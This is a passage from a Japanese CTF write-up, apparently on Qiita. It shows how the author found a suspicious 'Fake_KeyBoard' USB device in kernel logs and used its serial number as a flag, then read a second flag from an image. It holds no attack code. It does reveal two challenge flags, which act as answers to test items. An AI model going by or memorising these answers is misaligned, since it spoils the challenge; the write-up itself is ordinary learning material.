今回はSerial Numberが欲しいので、得られたデータ中のSerialNumberに注目し、
テキストエディタでSerialNumberで検索し、見ていった。
その結果、

Apr 12 20:21:25 kali kernel: [    1.830063] usb 1-2: Product: Fake_KeyBoard
Apr 12 20:21:25 kali kernel: [    1.830064] usb 1-2: Manufacturer: APT43.
Apr 12 20:21:25 kali kernel: [    1.830065] usb 1-2: SerialNumber: 854be9ee57ef47ce74e73904998d61c8846e9239

という怪しい部分が見つかった。
ここのSerialNumberをFlag formatに当てはめることで、flagが得られた。

CYBERTF{854be9ee57ef47ce74e73904998d61c8846e9239}

misc

Synopsis

問題文:

Put the flag that was present in the synopsis

CTFの紹介ページのSynopsisに掲載されている画像にflagが書かれているので、typoしないように注意して入力した。

CYBERTF{7349621064380}
1
1
0

Register as a new user and use Qiita more conveniently

  1. You get articles that match your needs
  2. You can efficiently read back useful information
  3. You can use dark theme
What you can do with signing up
1
1